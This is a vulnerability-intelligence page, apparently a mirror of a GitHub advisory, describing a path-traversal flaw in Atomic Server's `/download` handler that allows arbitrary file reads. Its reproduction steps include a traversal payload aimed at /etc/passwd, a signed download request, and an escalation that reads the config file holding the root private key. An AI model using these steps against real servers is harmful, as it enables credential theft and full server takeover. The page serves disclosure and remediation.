llamaCVEVulnerability Intelligence
/
Advisory · GitHub · crates.io · atomic-server

GHSA-8VC4-8HJQ-988P

Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)

Sin parche publicado
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición1 dDesde la divulgación, 18 nov 2026, 3:42 p. m.
Detección40 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
03:42 p. m.
04:00 p. m.
12:51 a. m.
03:42 p. m.
11:59 p. m.
08:17 a. m.
04:34 p. m.
12:51 a. m.
FechaFaseEventoDetalle
Divulgación Publicada GHSA-8VC4-8HJQ-988P divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The Commit apply path enforces no allowlist of writable properties, so any authenticated Agent can set the `internalId` string (datatype `string`, no character validation) on a resource it owns. The `/download` handler then uses that value verbatim as a filesystem path — `file_path.push(internal_id); NamedFile::open(file_path)` — with no sanitization and no containment check (`server/src/handlers/download.rs:56-65`). By setting `internalId` to a traversal path (`../../../../etc/passwd`) or an absolute path (`PathBuf::push` of an absolute path replaces the buffer), an attacker reads any file on the host. The highest-value target is the server config file storing the root agent private key, which yields full server compromise. Only the *upload* path sanitizes filenames (`sanitize_filename`); the *download* path trusts the stored value. The handler also never checks that the resource is a `File`.

Affected component

  • `server/src/handlers/download.rs:56-65` — `file_path.push(internal_id)` + `NamedFile::open`, no sanitization, no `File`-class check.
  • `lib/src/commit.rs` (`apply_changes`) — sets any property; no server-managed-property denylist.

Steps to Reproduce

Environment: `joepmeneer/atomic-server:develop`, `http://localhost:9883`. Attacker is any Agent with write on a parent (self-signup, or via the `/setup` issue reported separately).

  1. Create a resource and set `internalId` to a traversal path — sign the Commit and `POST /commit` (200):
subject = http://localhost:9883/pwnfile
set = {
  "https://atomicdata.dev/properties/parent": "http://localhost:9883",
  "https://atomicdata.dev/properties/internalId": "../../../../../../../../etc/passwd"
}
  1. Download it. The auth signature is over the resolved subject (the server strips the `/download` prefix → `http://localhost:9883/pwnfile`):
GET /download/pwnfile HTTP/1.1
Host: localhost:9883
x-atomic-public-key: <pubkey>
x-atomic-agent: http://localhost:9883/agents/<pubkey>
x-atomic-timestamp: <ms>
x-atomic-signature: <ed25519("http://localhost:9883/pwnfile <ms>")>

Response `200 OK` returns the host `/etc/passwd`:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
  1. Escalate — set `internalId = /atomic-storage/config/config.toml` (absolute path) and download again:
server      = "http://localhost:9883"
agent       = "http://localhost:9883/agents/+/KwsAmyzc7S/..."
private_key = "REDACTED-ROOT-ED25519-PRIVATE-KEY"   # server root agent key
  1. Using the stolen key, the attacker signs a Commit with `signer = <root agent>` → `POST /commit` (200) edits data as root. Full compromise.

Expected: `internalId` treated as a server-managed property and/or `/download` canonicalizes and confines the path to `uploads_path`.
Actual: Arbitrary host file read, including the root private key.

Impact

Arbitrary file read as the server process: `/etc/passwd`, env, TLS keys, the sled DB, K8s service-account tokens, and the root agent private key → root impersonation → full read/write/delete of all data. Only a standard account is needed.

Remediation

  • In `download.rs`: `sanitize_filename(internal_id)`, then `canonicalize` and assert the resolved path stays within `uploads_path` before opening; verify the resource is a `File`.
  • Add a server-managed-property denylist (`internalId`, rights arrays, etc.) in `lib/src/commit.rs` so clients cannot set them.
Versiones

Rangos afectados

Afectada Corregida Última
atomic-server≥ 0.30.0 ≤ 0.40.1
0.30.0
0.40.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
crates.ioatomic-server
Sin parche — — 0.40.1 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-69156
Otrahttps://github.com/ontola/atomic-server/security/advisories/GHSA-8vc4-8hjq-988p
Otrahttps://github.com/ontola/atomic-server/commit/59d067c797c946b839c9101fedff4c40171c0c61
Otrahttps://github.com/ontola/atomic-server
Otrahttps://github.com/ontola/atomic-server/releases/tag/v0.40.3

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.